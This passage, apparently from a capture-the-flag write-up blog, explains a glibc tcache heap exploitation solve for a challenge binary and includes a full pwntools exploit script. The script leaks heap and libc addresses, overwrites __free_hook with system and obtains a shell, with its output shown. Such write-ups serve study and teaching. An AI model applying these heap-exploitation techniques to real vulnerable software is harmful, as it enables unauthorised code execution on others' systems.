[1m[37m [0m[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[37mchr[0m[1m[37m([0m[37mord[0m[1m[37m([0m[33m'K'[0m[1m[37m)[0m[1m[36m+[0m[1m[37mi[0m[1m[37m)[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37mchunk_R[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"/bin/sh[0m[33m\x00[0m[33m"[0m[1m[37m)[0m[1m[37m [0m[33m# dump rest of 0x20 fastbin to 0x20 tcachebin[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37msystem[0m[1m[37m))[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[37mchunk_R[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37msendline[0m[1m[37m([0m[33mb[0m[33m"id"[0m[1m[37m)[0m[1m[37m[0m
[37mprint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m())[0m[1m[37m[0m
[1m[37mb'uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n'[0m
=== [1m[4mChallenge solve[22m[24m
Normally we could just free a chunk a bunch of times to fill up the
tcache, but we have a limited number of frees: what to do?
If we were dealing with other bins we'd be in a tough situation,
but the tcache stores its metadata on the heap, which is our
domain!
We'll do most of our work in a single victim chunk, which we'll
have two handles to: one "alive" pointer (with
[40m[35m`in_use=1`[39m[49m) that we can read from and one
"dead" pointer we can continuously call free on.
After setting that up we can leak the heap with a tcache dup, which
results in our victim chunk pointing to itself.
Once we do that we can overwrite this pointer with the start of the
[40m[35m`tcache`[39m[49m struct and call
[40m[35m`malloc`[39m[49m twice to get a chunk that overlaps
[40m[35m`tcache`[39m[49m.
We use this chunk to artificially mark the [40m`0x240`[49m
tcachebin as being full (taking care to set the head pointer back
to [40m[35m`tcache`[39m[49m so we can edit it again in the
future); this allows us to free a chunk into the unsortedbin and
get a libc leak.
Armed with our leaks, we can now request another [40m`0x240`[49m
chunk to edit [40m[35m`tcache`[39m[49m again, and this time we
set the head of the [40m`0x240`[49m tcachebin to point to the
[40m[35m`__free_hook`[39m[49m.
An allocation and a [40m[35m`free`[39m[49m later and we have a
shell!
[33mfrom[0m[1m[37m [0m[1m[37mpwn[0m[1m[37m [0m[33mimport[0m[1m[37m [0m[1m[36m*[0m[1m[37m[0m
[1m[37m[0m
[1m[37mcontext[0m[1m[36m.[0m[1m[37mlog_level[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m'warning'[0m[1m[37m[0m
[1m[37m[0m
[1m[37melf[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mcontext[0m[1m[36m.[0m[1m[37mbinary[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[33m"tcache_troll"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[1m[37melf[0m[1m[36m.[0m[1m[37mrunpath[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[33mb[0m[33m"/libc.so.6"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mmalloc[0m[1m[37m([0m[1m[37msize[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"1"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"size: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37msize[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"data: "[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mmalloc[0m[1m[36m.[0m[1m[37mindex[0m[1m[37m [0m[1m[36m+=[0m[1m[37m [0m[1m[36m1[0m[1m[37m[0m
[1m[37m [0m[33mreturn[0m[1m[37m [0m[1m[37mmalloc[0m[1m[36m.[0m[1m[37mindex[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[36m1[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[36m.[0m[1m[37mindex[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mfree[0m[1m[37m([0m[1m[37mindex[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"2"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"index: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37mindex[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mread[0m[1m[37m([0m[1m[37mindex[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"3"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"index: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37mindex[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mret[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m()[:[0m[1m[36m-[0m[1m[36m1[0m[1m[37m][0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[33mreturn[0m[1m[37m [0m[1m[37mret[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mremote[0m[1m[37m([0m[33m"localhost"[0m[1m[37m,[0m[1m[37m [0m[1m[36m1337[0m[1m[37m)[0m[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mtimeout[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0.5[0m[1m[37m[0m
[1m[37m[0m
[1m[37mchunk_A[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x240[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"A"[0m[1m[37m)[0m[1m[37m [0m[33m# "free" handle[0m[1m[37m[0m
[1m[37mchunk_B[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"/bin/sh[0m[33m\x00[0m[33m"[0m[1m[37m)[0m[1m[37m [0m[33m# padding[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[37mchunk_A[0m[1m[37m)[0m[1m[37m[0m
[1m[37mchunk_C[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x240[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"C"[0m[1m[37m)[0m[1m[37m [0m[33m# "read" handle[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[37mchunk_A[0m[1m[37m)[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[37mchunk_A[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x240 tcachebin: [chunk A] -> [chunk A] -> ...[0m[1m[37m[0m
[1m[37m[0m
[1m[37mheap[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37munpack[0m[1m[37m([0m[1m[37mread[0m[1m[37m([0m[1m[37mchunk_C[0m[1m[37m))[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[37m([0m[1m[36m0x250[0m[1m[36m+[0m[1m[36m0x10[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x240[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mheap[0m[1m[36m+[0m[1m[36m0x10[0m[1m[37m))[0m[1m[37m[0m
[33m# 0x240 tcachebin: [chunk A] -> [&heap+0x10][0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x240[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"DDDDDDDDDDD"[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x240 tcachebin: [&heap+0x10][0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x240[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"[0m[33m\x00[0m[33m"[0m[1m[36m*[0m[1m[36m34[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[33mb[0m[33m"[0m[33m\x07[0m[33m"[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[33mb[0m[33m"[0m[33m\x00[0m[33m"[0m[1m[36m*[0m[1m[36m29[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0[0m[1m[37m)[0m[1m[36m*[0m[1m[36m34[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mheap[0m[1m[36m+[0m[1m[36m0x10[0m[1m[37m))[0m[1m[37m[0m
[33m# 0x240 tcachebin: [&heap+0x10] (marked as full)[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[37mchunk_A[0m[1m[37m)[0m[1m[37m[0m
[33m# unsortedbin: [chunk A][0m[1m[37m[0m
[1m[37mlibc[0m[1m[36m.[0m[1m[37maddress[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37munpack[0m[1m[37m([0m[1m[37mread[0m[1m[37m([0m[1m[37mchunk_C[0m[1m[37m))[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mmain_arena[0m[1m[36m+[0m[1m[36m0x60[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x240[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"[0m[33m\x00[0m[33m"[0m[1m[36m*[0m[1m[36m34[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[33mb[0m[33m"[0m[33m\x07[0m[33m"[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[33mb[0m[33m"[0m[33m\x00[0m[33m"[0m[1m[36m*[0m[1m[36m29[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0[0m[1m[37m)[0m[1m[36m*[0m[1m[36m34[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37m__free_hook[0m[1m[37m))[0m[1m[37m[0m
[33m# 0x240 tcachebin: [&__free_hook] (marked as full)[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x240[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37msystem[0m[1m[37m))[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[37mchunk_B[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37msendline[0m[1m[37m([0m[33mb[0m[33m"id"[0m[1m[37m)[0m[1m[37m[0m
[37mprint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m())[0m[1m[37m[0m
[1m[37mb'uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n'[0m
[^fn:1]: Note that non-fastbin chunks have additional metadata; see
the Glibc explanation [5] for more info.
[^fn:2]: This is one of the OG heap exploits, used all the way back
in 2000 to pwn Netscape [6].
[^fn:3]: We could also set this fake chunk's
[40m[35m`fd`[39m[49m and [40m[35m`bk`[39m[49m pointers to
point to itself instead of constructing a fake
[40m[35m`victim->bk->fd`[39m[49m on the heap.
[^fn:4]: Note that it must be exactly 8, i.e. the AMP flags must be
cleared
References:
(HTM) [1] HeapLAB
(HTM) [2] Malloc Maleficarum
(HTM) [3] QEMU/Rosetta
(HTM) [4] House of Orange
(HTM) [5] Glibc explanation
(HTM) [6] pwn Netscape
>=================================================================<
(DIR) Blog
(DIR) Writeups
(DIR) jp
copyright 2026 George Huebner
(HTM) email